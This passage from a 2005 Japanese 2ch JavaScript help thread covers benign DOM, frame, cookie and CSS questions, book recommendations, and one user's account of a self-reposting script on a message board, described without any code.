はどこかにアップしてURIを貼ってくれ。(3)もちろんぐっちゃぐっちゃは
やめてきちんと整形されたもので。そしたら見てもいいけど。嫌ならパス。
>>318
サイ本で文章を読まずにリファレンスを買うって何か意味あるのか?
洩れはデスクトップリファレンスは持ってないからよく分からんけど。

324 名前:Name_Not_Found 投稿日:2005/10/18(火) 09:05:14 ID:AV8nzgq9
>323

誰が書いたスクリプトか不明なんです。

http://bbs.enjoykorea.jp/jaction/read.php?id=enjoyjapan_16&nid=1724235&work=list&st=&sw=&cp=6
ここの掲示板で、日本のIDだけが対象になるスクリプトのようです。
スクリプトの動作として

1)スクリプトが貼り付けてあるスレにコメントすると
2)これと同じスクリプトのスレを自分のIDで勝手に作成

ログインしている他の人のIDがスクリプトを入れっぱなしで、このスクリプトを開くと
上記と同じような動作をするようです
更に、元のスレのIDも上書きされるので、誰が犯人か特定できません

スクリプトを切っていれば問題ないのですが
コメントを書くたびに、ソースを見ないといけないので・・・TT




325 名前:Name_Not_Found 投稿日:2005/10/18(火) 09:12:14 ID:???
>>324
「javascript:e=null;void(0)」というURIのお気に入りにを作成して
(ブックマークレット)、書き込む前にこれを選択実行したらどうかな。

326 名前:Name_Not_Found 投稿日:2005/10/18(火) 09:28:45 ID:4zlE6U+w
ソースコードを見られないようにする方法を教えてください。
右クリックを無力化しても、ブラウザの表示(V)までは抑え込めないようです。

327 名前:Name_Not_Found 投稿日:2005/10/18(火) 09:30:23 ID:AV8nzgq9
>325
ありがとうございます。
URIって何だろうと調べてて、お礼が遅くなりました。
なんとなくぼんやり分かりましたが、まだ作成できそうに無いです。
だけど、同じものに引っかかりたくないから、調べて作成してみます。
上手くいったら報告します。ダメだったら、また泣きつくかもしれません;

328 名前:Name_Not_Found 投稿日:2005/10/18(火) 10:59:26 ID:???
>>323
> 整形
まともなエディタ使えよ(笑)

あるいは、全体を function foo() { 全体 } のようにして、それを jsshell に整形してもらえ。
例:
js> function foo(a,b,c){var x=a+b;var y=b+c;var z=c+a}
js> foo

function foo(a, b, c) {
var x = a + b;
var y = b + c;
var z = c + a;
}

329 名前:328 投稿日:2005/10/18(火) 11:01:44 ID:???
  を忘れたのでインデントが消えたが、4スペースでインデントされる。

330 名前:328 投稿日:2005/10/18(火) 11:14:28 ID:???
つうか、投稿欄に整形して出力すればよかった。
javascript:eval("function foo(){" + getSelection() + "}"); document.getElementsByTagName('textarea').item(0).value = foo; eval()

331 名前:Name_Not_Found 投稿日:2005/10/18(火) 11:24:46 ID:???
>>323
サイ本で検索したら、1番にamazonがでてきてビックリ

は、おいといて
リファレンスだけなら他の本でも関係ないって事ですか?

332 名前:Name_Not_Found 投稿日:2005/10/18(火) 11:46:41 ID:???
>>331
リファレンスを本に頼るというのはあまりよくないと思うけどな。
大嘘な本だらけだから。まっとうな本が何であるかは洩れは知らん。
知ってる人よろ。洩れは最後は各仕様を直接読むべきと思ってる。

「読んでおくべき本」っていうからJS言語の仕様とか動作原理に
ついて系統的に解説されている本(つまりリファレンス本とは対極
にある本)のことかと思った。そういうことを既に知ってるから
不要というのならいいんだけどね… 怪しいね(w

333 名前:Name_Not_Found 投稿日:2005/10/18(火) 12:26:16 ID:???
その有名なサイ本のリファレンスでも、まっとうではないって事ですか

リファレンスでは言語仕様とか動作原理はわからんとですね

>>317を参考に、その本とリファレンスがあればいいかな?と思ってましたが考え直します

334 名前:Name_Not_Found 投稿日:2005/10/18(火) 12:29:55 ID:???
>>333
だからサイ本のデスクトップリファレンスは洩れ見たことない。
古いかも知れない。サイ本原著持ってるが(3版)、そのリファレンスは古い。
テキトなリファレンス本はやめた方がいい、粗悪なものが多い。

335 名前:Name_Not_Found 投稿日:2005/10/18(火) 13:06:10 ID:???
----------------ここから---------------
拡張子.cssで保存。例えばgyao.cssとでもする。
IE の インターネットオプション → 全般 → ユーザー補助 → ユーザースタイルシート
→ 自分のスタイルシートでドキュメントの書式を設定するにチェック → gyao.cssを選択する
----------------ここまで---------------

といったユーザースタイルシートの件なので、CSSスレで質問したところ
JavaScriptスレの管轄ではないか?との事なので、宜しくお願いします。
http://pc8.2ch.net/test/read.cgi/hp/1129127660/182-184

336 名前:Name_Not_Found 投稿日:2005/10/18(火) 13:16:28 ID:???
>>335
ここから〜ここまで、はたしかにスタイルシートの話だけど、
あんたが向こうに貼ったのはJavaScriptです。
とりあえずCSSとJavaScriptの違いを理解してから出直してみれ。

337 名前:Name_Not_Found 投稿日:2005/10/18(火) 13:20:06 ID:???
>>335
ヤマカンでいって、http://pc8.2ch.net/test/read.cgi/hp/1129127660/183
のelement.enableContextMenu = true;まででいいんじゃない? もちろん、
かっこ類は正しく閉じるようにして途中を全部削るわけだけど。/* ... */
でコメントアウトすればいい(削りすぎたらすぐ戻せるし)。

338 名前:335 投稿日:2005/10/18(火) 13:51:02 ID:???
>>337
まさにビンゴです!ありがとう御座いました

339 名前:335 投稿日:2005/10/18(火) 14:20:26 ID:???
と思ったら全画面表示後に元の画面に戻って、「クリックは禁止となっております」 il||li _ト ̄|● il||li ゴー

340 名前:335 投稿日:2005/10/18(火) 14:44:43 ID:???
出来ました。ここもイラネーとかありましたら、ツッコミお願いします。>>337氏に感謝!
http://www.uploda.org/file/uporg217786.lzh.html

341 名前:Name_Not_Found 投稿日:2005/10/18(火) 14:46:22 ID:u9pbGtQi
誘導されてきました。

Mac 10.3.9 + Safari 1.3.1の環境で、選択したテキストを取得しようと
しているのですが、<input>や<textarea>の中身を取得する事ができません。
なにか良い方法は無いでしょうか?
他のテキストは以下の方法で取得出来ます。

function clipstr(){
if(window.getSelection){
alert(window.getSelection();
}
}

342 名前:Name_Not_Found 投稿日:2005/10/18(火) 14:52:34 ID:???
>>334
了解です
いろいろ見てみても、古いような事が書いてました(>>317にも)

で、>>317の本がベストと思っていいんでそうか?

343 名前:Name_Not_Found 投稿日:2005/10/18(火) 15:19:38 ID:???
>>342
人によって意見は違うだろうが、個人的にはお勧めと思ってる。
まあ高くはないし(1800円)買って損てことはないと思うな。

344 名前:Name_Not_Found 投稿日:2005/10/18(火) 15:34:19 ID:???
>>341
どっから誘導されたわけw嘘をついてまでして流れに乗れないとは・・・・

345 名前:Name_Not_Found 投稿日:2005/10/18(火) 15:43:18 ID:???
>>342
サイ本持ってるけど、内容はいいよ。
ただみんな言うように日本語のは少し古い。
ただ詳しく勉強したないならお勧め。
リファレンスとしてまともなんだけど情報が古いのさ。

346 名前:Name_Not_Found 投稿日:2005/10/18(火) 16:05:05 ID:???
>>341
textareaやinputの中を「部分的に」選択することはないというので
あれば、次のような感じでどうかな。inputがtype=textかどうかとか
要素種別とかを見ていないサボった版だけどデモとして。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><title>???</title>
<script type="text/javascript">
window.onmouseup = function() {
var s = window.getSelection(); if(s.rangeCount < 1) return;
alert(concat(s.getRangeAt(0).cloneContents()));
}
function concat(n) {
if(n.nodeType == 3) { return n.nodeValue;
} else if(n.nodeType==1 && (n.nodeName=='INPUT' || n.nodeName=='TEXTAREA')) {
return n.value;
} else if(n.nodeType == 1 || n.nodeType == 11) {
var o = '';
for(var i = 0; i < n.childNodes.length; ++i) o += concat(n.childNodes[i]);
return o;
} else { return ''; }
}
</script>
</head><body><div>abcd<input id="t0" type="text" value="ABCD">abcd<br>
<textarea rows="5" cols="20">test...</textarea><br>abcd</p></body></html>


347 名前:Name_Not_Found 投稿日:2005/10/18(火) 16:35:37 ID:???
http://www.daikoku-ya.org/blog/2004/07/12_1120.php
rssをhtmlで表示させる為のプログラムなんですが、これは、よくレンタルサーバーで禁止されている外部呼出しのcgiに該当しますでしょうか?
cgi板で聞くべきかと思ったんですが、あっっちはプログラミング専用みたいなんで、こちらでよろしくお願い致します

348 名前:Name_Not_Found 投稿日:2005/10/18(火) 16:48:08 ID:???
ここでも完全に板違いだね。レン鯖板行けば?

349 名前:Name_Not_Found 投稿日:2005/10/18(火) 18:50:15 ID:231MXIuq
先日はお世話になりました。やっとできました。
これ、マウスを追っかけてくるウザものですが、スクリプトはスゴイです。正規表現
をこういう風に使えるんですね。皆さんの何かの参考と修行向上になればうれしいです。
Q34=String.fromCharCode(34);
C44=String.fromCharCode(44);
var ARG=new Array;
function G_replace(obj){
var reg=eval('new RegExp(ARG[0]'+C44+'\'gi\');');
return eval('obj.replace(reg'+C44+Q34+ARG[1]+Q34+');');}
function G_setTimeout(){
return eval('setTimeout(ARG[0]'+C44+'ARG[1]);');

350 名前:Name_Not_Found 投稿日:2005/10/18(火) 19:10:26 ID:rGe/4IRs
ぼくは、ソフトバンク発行の「JavaScriptパーフェクトガイド」を
購入しました。3000円以上しました。でも、買った時からすでに古くて、
メソッドなど今ではあたり前のものも載ってません。アキバのLaoxの
店員がなんだか「こんなの買っちゃダメだぜ」ってな顔してたような
気がしたのを覚えています。買ってから散財したのが分かりました。

351 名前:Name_Not_Found 投稿日:2005/10/18(火) 19:47:05 ID:3O2txBSe
item()というのは、IEでヴァージョンいくつからですか。

352 名前:Name_Not_Found 投稿日:2005/10/18(火) 19:51:20 ID:zTgN2bOF
あの、

フレームAからフレームBのlocation.hrefを取得したいんです。で、表示しているページのホストが違う場合、Aから

top.B.location.href

とやっても仕様の関係でできないことがわかっているんですが、次善策として、

Bでスクリプトを走らせて文字列をAに渡す

ということを考えております。

で、質問。

@Bがリンク先に飛ぶ寸前に、飛ぶ先のURLを取得することができるか。
Aその他のアイディアがあったら教えてほしい。


シチュエーションとしては、別サーバのBBS(HEADをいじれる)をフレームBに表示させて、フレームAからの指示でリロードしたり、フレームを解除したりしたい。

フレーム解除は特に、B内のリンクでBが他サイトに飛んでしまった場合にBを基準にしてフレームを解除したいということです。

よろしくお願いします。

353 名前:Name_Not_Found 投稿日:2005/10/18(火) 20:48:48 ID:???
>>351
4

354 名前:Name_Not_Found 投稿日:2005/10/18(火) 21:24:36 ID:???
>>352
Bでスクリプトを走らせてもその結果をAに渡せるのは「Aを開く瞬間に
QUERY_STRINGやクッキーで渡す」場合だけで、既にAが開いているなら
渡す方法はないよ。(1)はすべてのリンクにonclickを挿入すればできる
と思うけど、AとBの通信ができなければどうにもならんだろ。

355 名前:Name_Not_Found 投稿日:2005/10/18(火) 21:37:47 ID:zTgN2bOF
いやそれは…

top.A.Aの変数=

をBで走らせれば渡せるとおもいまふが。

356 名前:Name_Not_Found 投稿日:2005/10/18(火) 22:05:12 ID:???
>>355
そう、じゃ頑張って。できたら報告してよ、非常に珍しい事例だから。
楽しみにしてるよ(w

357 名前:Name_Not_Found 投稿日:2005/10/18(火) 22:07:13 ID:???
嫌な奴

358 名前:Name_Not_Found 投稿日:2005/10/18(火) 22:11:29 ID:???
そんなんで気に障るなら2ちゃん向いてないと断言しよう。

359 名前:Name_Not_Found 投稿日:2005/10/18(火) 22:28:40 ID:zTgN2bOF
できないのですか?

調べててどっかで見た気がするのですが…

やってみよう…

360 名前:Name_Not_Found 投稿日:2005/10/18(火) 23:37:17 ID:???
ソースを見れなくするTIPSってあるんすかね?

秘密にしときたいな

361 名前:Name_Not_Found 投稿日:2005/10/18(火) 23:43:36 ID:???
>・ユーザーに迷惑となるスクリプトを書かない者

362 名前:Name_Not_Found 投稿日:2005/10/18(火) 23:49:05 ID:???
関数の外で、getElementByIdでオブジェクトを取得して変数に代入した場合、
その変数のなかみは関数の中では無効になっちゃうんでしょうか。
↓こんな感じです

obj=getElementByID("sample");

function samplefunc(){
obj.src="aaa.gif"; //←ここでobjは生きている?

}

363 名前:Name_Not_Found 投稿日:2005/10/18(火) 23:52:51 ID:???
試せばわかると思うけど

364 名前:Name_Not_Found 投稿日:2005/10/18(火) 23:53:27 ID:???
>>362
そんなことは普通ないと思うが。その問題が再現する最小限
のソースを作って貼ってみれば(作ればそれだけで解決すると
思うが)。

365 名前:362 投稿日:2005/10/18(火) 23:57:34 ID:???
>>363-364
すみません、ちゃんと有効だとわかりました。
ページの中での、スクリプトを置く場所が悪くてオブジェクトを取得できていないだけでした。
ありがとうございました。

366 名前:Name_Not_Found 投稿日:2005/10/19(水) 00:14:21 ID:???
サイ本の4版が出るのを待って、>>317を購入しようと思います

367 名前:Name_Not_Found 投稿日:2005/10/19(水) 01:08:54 ID:1YBexAYv
質問です。
ふつうdisplayには'block'とか属性指定をしてイベントで変更したり
しますが、
obj.style.display = "";
というカラの属性を指定してるのをみました。これでも動いています。
なぜですか?

368 名前:Name_Not_Found 投稿日:2005/10/19(水) 01:21:02 ID:???
デフォーーーーーールトーーーーーーううぅうーーおっほほおー!!!!!1

369 名前:Name_Not_Found 投稿日:2005/10/19(水) 01:31:21 ID:???
>>366
4版の和訳、出るの?もう皆何年も待ってるけど。


370 名前:Name_Not_Found 投稿日:2005/10/19(水) 01:51:56 ID:???
デッデデフォールトルトルトルオt!

371 名前:Name_Not_Found 投稿日:2005/10/19(水) 03:14:56 ID:???
>>366
多分出る頃には5版が・・・

372 名前:Name_Not_Found 投稿日:2005/10/19(水) 03:23:14 ID:???
なんかCMウザイですね

373 名前:Name_Not_Found 投稿日:2005/10/19(水) 07:53:12 ID:???
>>352
別鯖で、>>355もダメなら、iframeは?
確か前にiframeで表示されたhtmlの変数を取り出す話題があったようだが
>>1過去スレ全集GO


374 名前:Name_Not_Found 投稿日:2005/10/19(水) 08:22:22 ID:???
>>369
スレのテンプレにもある ECMA262-3 和訳サイトにある文書群で事足りる。

375 名前:Name_Not_Found 投稿日:2005/10/19(水) 08:45:37 ID:???
>>373
おんなじだってば! だいたいがFAQ>>3のQ1/A1を見てれば
こんなスレの無駄づかいにはならなかったはず。

376 名前:Name_Not_Found 投稿日:2005/10/19(水) 09:53:06 ID:qcq1FnCi
別フレームにある文字列をRegExp検索して、結果をそのフ
レームに表示することは可能ですか。式を教えてください。

377 名前:Name_Not_Found 投稿日:2005/10/19(水) 09:58:30 ID:???
だれか数学のように簡潔で美しいスクリプト知りませんか?

378 名前:Name_Not_Found 投稿日:2005/10/19(水) 10:09:13 ID:???
>>377
目的のない数学には意味がありません。
よって、貴方の質問には意味がありません。


379 名前:Name_Not_Found 投稿日:2005/10/19(水) 10:46:36 ID:???
>>375
それはわかってるが
http://user.ftth100.com/mirrorhenkan/javascript/read.php?key=1119184696&st=543&to=554
http://user.ftth100.com/mirrorhenkan/javascript/read.php?key=1041701828&st=286&to=309
ここらへんは同鯖限定か?

380 名前:Name_Not_Found 投稿日:2005/10/19(水) 10:58:01 ID:???
>別サーバのBBS(HEADをいじれる)をフレームBに表示させて、フレームAからの指示でリロードしたり、フレームを解除したりしたい。
逐一AからBのCGIへ呼び出しかければいいのでは?
BBSなら書きこみはすべてサーバーに保存されてるでしょ?

381 名前:Name_Not_Found 投稿日:2005/10/19(水) 10:59:39 ID:???
>>379
上のは同鯖限定、下のはローカルファイル編集したいという質問で
WSHとかにするならできるという議論になってるね。
>>376
その別フレームの「どこに」ある文字列なの。特定の範囲なのか
ページ全体なのか。そして「そのフレーム」とは別フレームなのか
自フレームなのか。そして「結果」とは何なのか。「あった」
「なかった」だけでいいのか。RegExpにあてはまった文字列なのか。
はたまたその前後まで含んだもの(どの範囲?)なのか。テメーの質問が
穴だらけなのを思い知れ。きちんと記述できたら書いてみてもいいんだけど、
それ以前に?が多すぎて腹立つよな。

382 名前:Name_Not_Found 投稿日:2005/10/19(水) 11:37:04 ID:???
糸はずれだけど、あんまりバカなやつなので

>>378
>目的のない数学には意味がありません。
数学に目的なんかあるのかね。
じゃあ、ピタゴラスの定理の「目的」とは何か説明してみ。
もし、あんたが目的はないと認めたら、数学自体に意味が
ないってことになるよね。それでいいの?

>よって、貴方の質問には意味がありません。
前提が崩れたら、あんたの存在さえ意味なくなるよね。
真理を語れない人間は無価値だから。

383 名前:Name_Not_Found 投稿日:2005/10/19(水) 11:53:30 ID:???
スレ違い、いくない。何の制約もなく「美しいプログラム」と
言われてもねえ。何もやることないのなら
「function () { }」とか何もないのが簡潔で美しいような気がする。

384 名前:Name_Not_Found 投稿日:2005/10/19(水) 12:24:57 ID:???
イコールで結ぶのが意味だろ.

385 名前:Name_Not_Found 投稿日:2005/10/19(水) 13:47:35 ID:YlyIz+RA
履歴を残すようにページを移動する方法を教えてください
グーグルすると、残らない方法しか出てこなくてマイッチングです

386 名前:Name_Not_Found 投稿日:2005/10/19(水) 13:54:36 ID:???
>>サーバでアクセスログを取るのは?

387 名前:Name_Not_Found 投稿日:2005/10/19(水) 14:37:40 ID:???
右辺と左辺は過去と未来だしな。

388 名前:Name_Not_Found 投稿日:2005/10/19(水) 14:42:36 ID:???
>>385
あのね。ページを移動するって時点でCSなJSとは板ちがいなの。わかる?


389 名前:Name_Not_Found 投稿日:2005/10/19(水) 14:57:39 ID:FsINLgEv
383さんがいってるような、function()って何ですか。関数名が無くても
JavaScriptできるんすか?イベントはどうするの?JavaScriptはイベント
起動言語だと教わった気がしますが。


390 名前:Name_Not_Found 投稿日:2005/10/19(水) 15:35:14 ID:???
>>389
関数オブジェクトを作るときに使う
変数名 = function() {}

391 名前:Name_Not_Found 投稿日:2005/10/19(水) 15:56:27 ID:???
>>389
window.onload = function(){ window.alert("勉強しろ。"); }

とでも書けば満足か?

392 名前:3 8 9 投稿日:2005/10/19(水) 16:16:59 ID:???
>>390-391さん
ありごとうざいました。
このスレの人ってみんな優しい。同じ2ちゃんとは思えない。

393 名前:Name_Not_Found 投稿日:2005/10/19(水) 17:18:55 ID:???
>>388
そうかなあ。ページを移動するって別のページに表示を切替えるんでは。
履歴を残さない: location.replace('行き先ページURI');
履歴を残す: location.href = '行き先ページURI';

394 名前:Name_Not_Found 投稿日:2005/10/19(水) 18:14:07 ID:???
>>393
そうじゃないんじゃ、ない?その下段のは履歴を残す、んじゃないくて、「戻る」
ボタンが効くってことでしょ。
元質問者のいってるのは、どっかに「+=」で溜めておいて、その変遷したURI一
覧みたいなのを書き出すってことじゃないの?

395 名前:Name_Not_Found 投稿日:2005/10/19(水) 18:40:46 ID:???
>>394 すごいえすぱ−

396 名前:376 投稿日:2005/10/19(水) 18:52:50 ID:???
>>381
そう意地悪しないでください。あの文章ですべて言えていると思いますが。
ご自分でも、無理やりアラを探して書いたのはわかっていらっしゃると思い
ます。良心に恥じませんか。すごく意地悪な方ですね。
ページ全体を文字列だなんてお考えの方なのですか。

397 名前:Name_Not_Found 投稿日:2005/10/19(水) 18:57:12 ID:aUzLLccV
>>395
えすぱーってなんれすか?

398 名前:Name_Not_Found 投稿日:2005/10/19(水) 18:59:17 ID:???
>>396
何言ってんだこの丸投げ糞野朗は。

399 名前:Name_Not_Found 投稿日:2005/10/19(水) 19:12:38 ID:???
http://click.ad-link.jp/cv.php/8394759538/t435382bbb3c3d
アフェリエイトならアドリンク。今なら紹介報酬が二倍!

400 名前:Name_Not_Found 投稿日:2005/10/19(水) 19:20:27 ID:wLliDHVv
>>381
Bの中でページ移動してしまうです。
呼び出しかけるにしても「BBSのどの位置にいるのか」がわからんと呼び出しようがないです。

で…いろいろ調べて試したのですが、何かを「渡す」動作はことごとく拒否されました…泣

401 名前:Name_Not_Found 投稿日:2005/10/19(水) 19:41:44 ID:???
>>396
あのさあ、どうでもいいから >>381 に書かれている質問に答えたら。
(1)その別フレームの「どこに」ある文字列なの --- textareaとか?
(2)「あった/なかった」でいいのか?
--- main.html ---
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN">
<html><head><title>???</title></head>
<frameset id="f0" cols="0*,0*">
<frame name="left" src="t2.html">
<frame name="right" src="t1.html">
<noframes><body><p>no frame...</p></body></noframes></frameset></html>
--- t1.html ---
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>???</title>
<script type="text/javascript">
function test() {
var s = parent.frames.left.document.getElementById('t0').value;
if(s.match(/いうえ/)) document.getElementById('d0').innerHTML = 'あったよ';
else document.getElementById('d0').innerHTML = 'なかったよ';
}
</script>
</head><body>
<button onclick="test()">Test...</button>
<div id="d0"></div>
</body></html>
--- t2.html ---
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>???</title>
</head><body><textarea id="t0">あいうえお</textarea></body></html>

402 名前:Name_Not_Found 投稿日:2005/10/19(水) 19:43:03 ID:???
>>394
げげっ! なるほど。そりゃ別窓か別フレーム置いておいてそこに記録かな。
>>400
だから拒否されるに決まってるって。鯖内で何とかするしかない。さいなら。

403 名前:Name_Not_Found 投稿日:2005/10/19(水) 19:46:10 ID:???
>>400
泣いてばかりでは何も始らないですぜぃ.
取り合えず, frame が本当に必要かどうかを今一度考えなおしてみよう.
(無闇に複雑になる割にメリットが少ないと思う)

404 名前:Name_Not_Found 投稿日:2005/10/19(水) 20:45:47 ID:wLliDHVv
>>400
がんがるです。

もともと1ウィンドウのページをリニュするにあたって、それまで分散していた機能を一つに統合したかったのです。ユーザーインターフェースの改善という意味で。
で、その機能の一つ(電工掲示板風の…なんだろう…CSSとか透過GIFとかCGIとかを組み合わせたやつ)がかなり無茶やってるんで、それを別ページに分割して、BBS見ながらニュースチェックできてウマーみたいな。

で、今考えてるのはBでの操作で目的を達成する方法。ポップアップみたくテーブルを配置するんですかね、おそらく。

でもう一つ。
window.statusbarを介してデータやりとりできませんかね?あきらめ悪くてすんませんです。

405 名前:Name_Not_Found 投稿日:2005/10/19(水) 20:50:54 ID:wLliDHVv
あんかーまちがえたよORZ

>>403だわさ。

406 名前:Name_Not_Found 投稿日:2005/10/19(水) 21:01:46 ID:???
>>404
データをやりとりできることが分かった瞬間にMSなりに連絡が
行ってできなくするパッチが流れると思え。

鯖を一緒にするのが一番素直な解決方法だろ、BBSの鯖にJSつきの
ページ置かせてもらえないの?

407 名前:Name_Not_Found 投稿日:2005/10/19(水) 21:14:41 ID:???
>>404-405
かつて僕も user interface のための frame に四苦八苦したことがあるんだ.
(表示されているページを frame の中に取りこむ / frame 解除)
苦労して script が完成してニンマリしたのは僕だけ.
frame 使用するかどうかを選択できるようにすると,
ほとんど大多数野人が不使用を選ぶ ものなのだ.

蛇足ながら, この時のキーポイントは window 間のデータ受け渡し.
大きく分けて 3 つの方法がある訳だけど,
僕は location.href=url+'?'+data; とやった記憶がある.

跳び跳びになっているので質問の本質を理解していないので
的外れだったら許されよ.

408 名前:Name_Not_Found 投稿日:2005/10/19(水) 21:28:35 ID:wLliDHVv
>>406
JSは外部ファイル(自鯖)を呼び出してるです。

>>407
しかと受け止めます。
少なくとも、今よりもいいですもの。
自分が使いたいと思うのを作ります。

409 名前:Name_Not_Found 投稿日:2005/10/19(水) 21:53:05 ID:YfxwI0bL
現在,要素(id名hoge)に設定されているCSSプロパティをJavaScriptで
削除したいのですが、
document.getElementById("hoge").style[propertyname] = '';

document.getElementById("hoge").style[propertyname] = null;
では、うまくいきませんでした。
ちなみに
document.getElementById("hoge").style[propertyname] = '別の値';
の場合は別の値のスタイルにきちんと変化しました。
プロパティそのものを削除するにはどうすればよいのでしょうか?

410 名前:Name_Not_Found 投稿日:2005/10/19(水) 22:13:10 ID:???
>>409
object.style[propertyname] というのは見覚えがないんだけどなぁ.
ところで, object.style.display=''; というのは UA の default を適用することになる.
UA の判断に委ねることになり, 必ずしも期待通りにならないことがある.

"CSSプロパティをJavaScriptで 削除したい" というのであれば,
object.className='〜' とやってやるのがよさそう. (.〜の中身は当然. 空)

411 名前:Name_Not_Found 投稿日:2005/10/19(水) 22:15:00 ID:XbuSQK3d
DOM操作のjavascriptについて質問。

<form>
<select name="number" onchange="expand(this.value)">
<option>1
<option>2
・・・
</select>
<div id="hoge">
<input name="foo1" type="text">
・・・
</div>
</form>

上のHTMLのid:hoge以下の子ノードをテンプレートとして、
選択した数(number)だけ繰り返すjavascriptを

function expand(n) {
var clone = document.getElementById("hoge").cloneNode(true);
document.getElementById("hoge").appendChild(clone);
for(var i=2; i<=n; i++)
document.getElementsByName("foo1").item(1).setAttribute("foo1", "foo"+i);
}
}

と書いたのですが、テンプレートから生成したフォームがうまくsubmitされません。
(foo2以降がsubmitされていたり、いなかったり)
どこがマズいのでしょうか?

412 名前:Name_Not_Found 投稿日:2005/10/19(水) 22:15:42 ID:???
>>360スルーかよww

413 名前:Name_Not_Found 投稿日:2005/10/19(水) 22:17:27 ID:dF9cIIE3
教えてください。
setAttributeでname属性をsetしたいのですが、どうしてもできません。
<script language="JavaScript" type="text/JavaScript">
function hiddenAdd(){
newHidden = document.createElement("input");
newHidden.setAttribute("type", "hidden");
newHidden.setAttribute("value", "あいうえお");
newHidden.setAttribute('name', "aiueo");
alert(newHidden.name);
document.all.aa.appendChild(newHidden);
alert(document.all.aa.innerHTML);
alert(documet.form1.aiueo.name);
}
</script>
</head>
<body>
<form name="form1">
<div id="aa"></div>
<input type="button" value="check" onclick="hiddenAdd()";>
</form>
</body>
</html>
1個目のアラートではname属性を取得できるのに、
2個目のアラートでinputにnameが生成されてないことがわかり、
3個目ではエラーになってしまいます。
また、2個目のアラートで
<input type=hidden value=あいうえお>と各属性が""で
くくられていないのも気になります。
どうしたら
<input type="hidden" value="あいうえお" name="aiueo">
と生成されますか?

414 名前:Name_Not_Found 投稿日:2005/10/19(水) 22:24:25 ID:???
>>407
新しいページ開く時は「?」で文字列渡せるわけだから、BBSからJSへも
その逆へも常にページ切り替わりつつ情報渡すように設計するんでは。
>>409
あのさあ、アンタはそれをヤマカンでやってるわけだろ?しょうもない。
平気で他人にリファレンス読ませるつもりで質問してるわけだろ?腹立つね。
読んだけどね。ちょっとはDOM2 CSS読もうと努力しなよ。>>5 からたどれるから。

415 名前:Name_Not_Found 投稿日:2005/10/19(水) 22:32:44 ID:???
>>413
それIEでしょ。IEでcreateElement()でinput作るのってバグが
あって駄目だったかと。innerHTMLで作るようにでもしたら。
>>412
スルーじゃなくちゃんと警告されてるだろ。それで十分。
>>411
連続でsubmitしてるからでしょ。submitすると結果ページが
返送されてきて現在のページが置き換えられる。すると現在の
ページのスクリプトは全部中止させられる。避けるには
formにtarget指定して結果をどっかよそ(隠しフレームとか)に
向ければいいんでは。

416 名前:409 投稿日:2005/10/19(水) 22:39:17 ID:???
>>414
知ってる人がいれば、教えて下さい。というつもりで質問してるだけで、
別にリファレンスを読ませるつもりなんかありませんよ。

417 名前:Name_Not_Found 投稿日:2005/10/19(水) 22:45:37 ID:???
>>416
じゃあ。リファレンス読めば載ってるから見れば。まあいいや
「...style.removeProperty(propertyname);」

418 名前:Name_Not_Found 投稿日:2005/10/19(水) 22:52:33 ID:???
>>414
おっしゃる意味が 今一つ...
今は frame はいっさい使わないし(strict に転向)
window 間のデータ受け渡しの必要性も感じていないんだ.

ただ...
form を使った やりかたが あるらしいので, 気が無いたときにでも試してみたい.
それと iCab 3 beta の DOM 対応度なども...
(以前は DOM 1 しか対応していなかったので, ぼくの知識もそこ止まり)

419 名前:409 投稿日:2005/10/19(水) 22:55:08 ID:???
教えてもらったremovePropertyメソッドでうまくいきました
ありがとうございました

420 名前:Name_Not_Found 投稿日:2005/10/19(水) 22:56:29 ID:???
>>409>>413ガイシュツ>>1過去スレ全集→検索GO

421 名前:Name_Not_Found 投稿日:2005/10/19(水) 23:09:49 ID:???
あの、すみません。
createElementで作成したオブジェクト(obj)に、"onmouseover"属性を付けたいのですが、
単に
obj.onmouseover="…"; とか
obj.setAttribute("onmouseover","…");
と書くのは誤りなのですか?

422 名前:Name_Not_Found 投稿日:2005/10/19(水) 23:23:47 ID:???
>>421オマイもか?>>420

423 名前:413 投稿日:2005/10/19(水) 23:44:28 ID:dF9cIIE3
>>415,450

どうもありがとうございました。
innerHTMLで作ります。

424 名前:Name_Not_Found 投稿日:2005/10/20(木) 00:13:19 ID:???
http://user.ftth100.com/mirrorhenkan/javascript/read.php?key=1077362343&st=293&to=294

425 名前:Name_Not_Found 投稿日:2005/10/20(木) 00:20:52 ID:???
>>420
JSの中では文字列入れちゃダメよ。
obj.onmouseover = function() { やらせたい動作、、、 };
>>410
半可通!引っ込め!そのコードが読めないでヤマカンアドバイス、
しかも無意味かつ有害!!!邪魔すぎ!!!
>>418
スマソ、誤爆ですた、、、

426 名前:385 投稿日:2005/10/20(木) 01:02:48 ID:ofr+L0LI
>>393
ありがとう!

427 名前:Name_Not_Found 投稿日:2005/10/20(木) 01:49:04 ID:???
nullは痛いな
自分がアドバイスできるレベルに至ったと思っているあたりが

428 名前:Name_Not_Found 投稿日:2005/10/20(木) 04:20:28 ID:???
>>385-408
なあ、なんで cookie 使って履歴取得する方法がひとつも検討されないの? 別鯖だから?

429 名前:Name_Not_Found 投稿日:2005/10/20(木) 09:17:44 ID:XccKuTrf
えっと、IEしかもってないので検証できないんですが、
IE専でのfilters["xx"].opacityを使ってUA分岐しな
いで置くとどうなるんでしょうか。効果nullで元画像
が表示されれば、だめ元でオレ的にOKなのですが、他
ブラウザではonerrorとか出ますか?

430 名前:Name_Not_Found 投稿日:2005/10/20(木) 09:44:54 ID:???
>>428
もちろん。サーバAがセットしたクッキーはサーバBには送られ
ないっていうのは知ってるよな…
>>429
もちろんエラーになるだろ。IEしか持ってないのが怠慢すぎ。
Gecko(MozかFF)とOperaくらい入れとけ! 5分で入るだろ。


431 名前:Name_Not_Found 投稿日:2005/10/20(木) 09:47:26 ID:fMkB0DMa
質問です。
画像のサイズとファイル名、それと更新年月日を取得して表示することはできませんか。

432 名前:Name_Not_Found 投稿日:2005/10/20(木) 10:07:09 ID:???
>>428
とりあえず、過去ログ読め。
domain=r18.example.com と書かれた Cookie は、r18.example.com からしか読めない。
domain=example.com と書かれた Cookie は、*.example.com から読める。
そして、制限はこれより緩くならない。

http://wp.netscape.com/newsref/std/cookie_spec.html
ttp://www.futomi.com/lecture/cookie/specification.html

ttp://www.studyinghttp.net/cookies
ttp://www.studyinghttp.net/cookies#References

